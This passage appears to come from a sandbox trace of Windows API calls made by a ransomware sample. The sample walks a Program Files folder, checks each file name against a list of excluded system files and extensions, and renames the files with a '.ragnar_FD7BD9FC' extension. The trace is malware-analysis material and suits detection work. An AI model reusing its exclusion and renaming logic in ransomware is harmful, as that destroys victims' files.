Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.564] lstrcpyW (in: lpString1=0x1eb61a, lpString2="adojavas.inc" | out: lpString1="adojavas.inc") returned="adojavas.inc" [0078.564] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned=".inc" [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="autorun.inf") returned -1 [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="boot.ini") returned -1 [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="bootfont.bin") returned -1 [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="bootsect.bak") returned -1 [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="bootmgr") returned -1 [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="bootmgr.efi") returned -1 [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="bootmgfw.efi") returned -1 [0078.564] lstrcmpiW (lpString1="adojavas.inc", lpString2="desktop.ini") returned -1 [0078.565] lstrcmpiW (lpString1="adojavas.inc", lpString2="iconcache.db") returned -1 [0078.565] lstrcmpiW (lpString1="adojavas.inc", lpString2="ntldr") returned -1 [0078.565] lstrcmpiW (lpString1="adojavas.inc", lpString2="ntuser.dat") returned -1 [0078.565] lstrcmpiW (lpString1="adojavas.inc", lpString2="ntuser.dat.log") returned -1 [0078.565] lstrcmpiW (lpString1="adojavas.inc", lpString2="ntuser.ini") returned -1 [0078.565] lstrcmpiW (lpString1="adojavas.inc", lpString2="thumbs.db") returned -1 [0078.565] lstrcmpiW (lpString1=".inc", lpString2=".db") returned 1 [0078.565] lstrcmpiW (lpString1=".inc", lpString2=".sys") returned -1 [0078.565] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0078.565] lstrcmpiW (lpString1=".inc", lpString2=".lnk") returned -1 [0078.565] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0078.565] lstrcmpiW (lpString1=".inc", lpString2=".drv") returned 1 [0078.565] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0078.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0078.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.566] CloseHandle (hObject=0xffffffff) returned 0 [0078.566] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" [0078.566] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.ragnar_FD7BD9FC" [0078.566] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0078.566] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.566] lstrcpyW (in: lpString1=0x1eb61a, lpString2="adovbs.inc" | out: lpString1="adovbs.inc") returned="adovbs.inc" [0078.566] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned=".inc" [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="autorun.inf") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="boot.ini") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="bootfont.bin") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="bootsect.bak") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="bootmgr") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="bootmgr.efi") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="bootmgfw.efi") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="desktop.ini") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="iconcache.db") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="ntldr") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="ntuser.dat") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="ntuser.dat.log") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="ntuser.ini") returned -1 [0078.566] lstrcmpiW (lpString1="adovbs.inc", lpString2="thumbs.db") returned -1 [0078.566] lstrcmpiW (lpString1=".inc", lpString2=".db") returned 1 [0078.566] lstrcmpiW (lpString1=".inc", lpString2=".sys") returned -1 [0078.566] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0078.567] lstrcmpiW (lpString1=".inc", lpString2=".lnk") returned -1 [0078.567] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0078.567] lstrcmpiW (lpString1=".inc", lpString2=".drv") returned 1 [0078.567] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0078.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0078.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.567] CloseHandle (hObject=0xffffffff) returned 0 [0078.567] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" [0078.567] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.ragnar_FD7BD9FC" [0078.567] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.567] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.567] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0078.567] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.567] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msader15.dll" | out: lpString1="msader15.dll") returned="msader15.dll" [0078.567] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned=".dll" [0078.567] lstrcmpiW (lpString1="msader15.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.567] lstrcmpiW (lpString1="msader15.dll", lpString2="autorun.inf") returned 1 [0078.567] lstrcmpiW (lpString1="msader15.dll", lpString2="boot.ini") returned 1 [0078.567] lstrcmpiW (lpString1="msader15.dll", lpString2="bootfont.bin") returned 1 [0078.567] lstrcmpiW (lpString1="msader15.dll", lpString2="bootsect.bak") returned 1 [0078.567] lstrcmpiW (lpString1="msader15.dll", lpString2="bootmgr") returned 1 [0078.567] lstrcmpiW (lpString1="msader15.dll", lpString2="bootmgr.efi") returned 1 [0078.567] lstrcmpiW (lpString1="msader15.dll", lpString2="bootmgfw.efi") returned 1 [0078.568] lstrcmpiW (lpString1="msader15.dll", lpString2="desktop.ini") returned 1 [0078.568] lstrcmpiW (lpString1="msader15.dll", lpString2="iconcache.db") returned 1 [0078.568] lstrcmpiW (lpString1="msader15.dll", lpString2="ntldr") returned -1 [0078.568] lstrcmpiW (lpString1="msader15.dll", lpString2="ntuser.dat") returned -1 [0078.568] lstrcmpiW (lpString1="msader15.dll", lpString2="ntuser.dat.log") returned -1 [0078.568] lstrcmpiW (lpString1="msader15.dll", lpString2="ntuser.ini") returned -1 [0078.568] lstrcmpiW (lpString1="msader15.dll", lpString2="thumbs.db") returned -1 [0078.568] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.568] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.568] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0078.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.568] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msado15.dll" | out: lpString1="msado15.dll") returned="msado15.dll" [0078.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned=".dll" [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="autorun.inf") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="boot.ini") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="bootfont.bin") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="bootsect.bak") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="bootmgr") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="bootmgr.efi") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="bootmgfw.efi") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="desktop.ini") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="iconcache.db") returned 1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="ntldr") returned -1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="ntuser.dat") returned -1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="ntuser.dat.log") returned -1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="ntuser.ini") returned -1 [0078.568] lstrcmpiW (lpString1="msado15.dll", lpString2="thumbs.db") returned -1 [0078.568] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.568] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.568] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0078.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.568] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msado20.tlb" | out: lpString1="msado20.tlb") returned="msado20.tlb" [0078.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned=".tlb" [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="autorun.inf") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="boot.ini") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="bootfont.bin") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="bootsect.bak") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="bootmgr") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="bootmgr.efi") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="bootmgfw.efi") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="desktop.ini") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="iconcache.db") returned 1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="ntldr") returned -1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="ntuser.dat") returned -1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="ntuser.dat.log") returned -1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="ntuser.ini") returned -1 [0078.569] lstrcmpiW (lpString1="msado20.tlb", lpString2="thumbs.db") returned -1 [0078.569] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.569] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.569] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.569] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.569] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.569] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.569] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0078.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.570] CloseHandle (hObject=0xffffffff) returned 0 [0078.570] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" [0078.570] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.ragnar_FD7BD9FC" [0078.570] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.570] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0078.570] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.570] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msado21.tlb" | out: lpString1="msado21.tlb") returned="msado21.tlb" [0078.570] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned=".tlb" [0078.570] lstrcmpiW (lpString1="msado21.tlb", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.570] lstrcmpiW (lpString1="msado21.tlb", lpString2="autorun.inf") returned 1 [0078.570] lstrcmpiW (lpString1="msado21.tlb", lpString2="boot.ini") returned 1 [0078.570] lstrcmpiW (lpString1="msado21.tlb", lpString2="bootfont.bin") returned 1 [0078.570] lstrcmpiW (lpString1="msado21.tlb", lpString2="bootsect.bak") returned 1 [0078.570] lstrcmpiW (lpString1="msado21.tlb", lpString2="bootmgr") returned 1 [0078.570] lstrcmpiW (lpString1="msado21.tlb", lpString2="bootmgr.efi") returned 1 [0078.570] lstrcmpiW (lpString1="msado21.tlb", lpString2="bootmgfw.efi") returned 1 [0078.571] lstrcmpiW (lpString1="msado21.tlb", lpString2="desktop.ini") returned 1 [0078.571] lstrcmpiW (lpString1="msado21.tlb", lpString2="iconcache.db") returned 1 [0078.571] lstrcmpiW (lpString1="msado21.tlb", lpString2="ntldr") returned -1 [0078.571] lstrcmpiW (lpString1="msado21.tlb", lpString2="ntuser.dat") returned -1 [0078.571] lstrcmpiW (lpString1="msado21.tlb", lpString2="ntuser.dat.log") returned -1 [0078.571] lstrcmpiW (lpString1="msado21.tlb", lpString2="ntuser.ini") returned -1 [0078.571] lstrcmpiW (lpString1="msado21.tlb", lpString2="thumbs.db") returned -1 [0078.571] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.571] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.571] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.571] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.571] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.571] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.571] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0078.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.571] CloseHandle (hObject=0xffffffff) returned 0 [0078.571] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" [0078.571] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.ragnar_FD7BD9FC" [0078.571] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0078.571] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.571] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msado25.tlb" | out: lpString1="msado25.tlb") returned="msado25.tlb" [0078.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned=".tlb" [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="autorun.inf") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="boot.ini") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="bootfont.bin") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="bootsect.bak") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="bootmgr") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="bootmgr.efi") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="bootmgfw.efi") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="desktop.ini") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="iconcache.db") returned 1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="ntldr") returned -1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="ntuser.dat") returned -1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="ntuser.dat.log") returned -1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="ntuser.ini") returned -1 [0078.572] lstrcmpiW (lpString1="msado25.tlb", lpString2="thumbs.db") returned -1 [0078.572] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.572] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.572] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.572] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.572] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.572] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.572] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0078.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.572] CloseHandle (hObject=0xffffffff) returned 0 [0078.572] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" [0078.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.ragnar_FD7BD9FC" [0078.573] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common 